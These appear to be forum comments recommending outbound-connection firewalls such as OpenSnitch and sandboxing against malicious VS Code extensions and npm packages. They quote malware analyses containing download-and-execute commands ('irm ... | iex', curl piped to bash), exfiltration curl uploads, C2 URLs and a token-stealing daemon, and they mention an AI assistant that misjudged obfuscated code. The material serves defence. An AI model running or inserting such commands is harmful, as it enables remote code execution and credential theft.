2. restrict outbound connections to known malicious IPs or domains.

3. run untrusted code/apps:

   - under a different user
   - or inside a sandbox
   - or in a VM

In this particular malware campaign, the malware contained a rootkit which hid precisely some of its activity:

https://github.com/gustavo-iniguez-goya/decloaker/discussion...

https://www.reddit.com/r/linux_gaming/comments/1u34pe3/comme...

  - This is a new repository, not a fork
  - All repositories have different contributors and different names
  From the last two points, it becomes clear that even if we find one such repository, we won’t be able to find other similar repositories using it.

Also, github doesn't delete repositories and accounts, they mark them as deleted. If you use their api you can still list them.

https://markdownpastebin.com/?id=d2a04939f1d7461ea0d36e438a4...

Take for example this activity from a malicious extension:

  This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.

  powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
  This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent. 

Or this one:

  const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
  function fetchConfigAndRun() {
     http.get(CONFIG_URL, (res)

https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m...

so maybe it's not bulletproof, but it helps to mitigate these threats.

> The trick is to infect a plugin that has a legitimate reason for accessing the internet or running certain commands, and then coming up with ways to abuse that to exfiltrate the data. Or exfiltrating via DNS queries, or some other vector that isn't so obvious as "allow TCP/UDP connections to the whole world".

They'll get there, maybe. But the reality is that right now, everyone allows outbound requests blindly.

Instead of speculating, I suggest to actually investigate current IOCs and common tactics of malicious npm/pip/plugins/VS extensions. Something like this:

https://github.com/evilsocket/opensnitch/discussions/1119

Or use OpenSnitch (or Lulu, Glasswire, ZoneAlarm anyone?:D etc) to actually analyze real VS malicious extensions or npm packages and see if it stops the exfiltration, and if not, suggest ways to improve it. For example:

https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...

I'd love to see a real example/PoC.

Anyway, we discussed this issue in the other thread. For me, unrestricted outbound requests to any url, whether it's well known domains like api.github.com or any other domain, are a red flag.

Why does VS need to establish outbound requests to any domain, without authorization?

There's no magic solution, and these attacks will evolve, but I still think that restricting outbound requests is a good measure to mitigate these attacks.

> slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly.

Isolating applications can also mitigate the impact of these attacks. For example, you can restrict VS code to only share with the host .vscode/, .git/ and other directories. Even by project. Again, it's not bulletproof, but helps.

But for the time being, the common entry vector is clear:

https://github.com/evilsocket/opensnitch/discussions/1119

> 2) trigger a tab open to attacker's website

be sure not to use extra cli parameters like "firefox --new-tab ", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.

yesterday discussion https://news.ycombinator.com/item?id=48191680

https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...

In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually.

> preinstall script: bun run index.js

> Dual exfiltration: > stolen data is committed as Git objects to public GitHub repositories (api.github.com) > and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces)

> The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability

> A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL

This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.

It doesn't matter if this or that doesn't work. Or if Microslop pressures to continue using Winslop.

Now the reasons are geopolitical.

or DNS stubs with filtering capabilities.

See how the AI points you in the "right" direction:

  What likely happened:
  The exec(base64.b64decode('...')) pattern is not malware — it's how Python tooling (including Claude Code's Bash tool) passes code snippets to python -c while avoiding shell escaping issues.

  Exfiltrates data to https://models.litellm.cloud/ encrypted with RSA

Having said this, uploading a binary to Claude for analysis is a different story.

    When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

    3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
    4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202

    The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

    The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin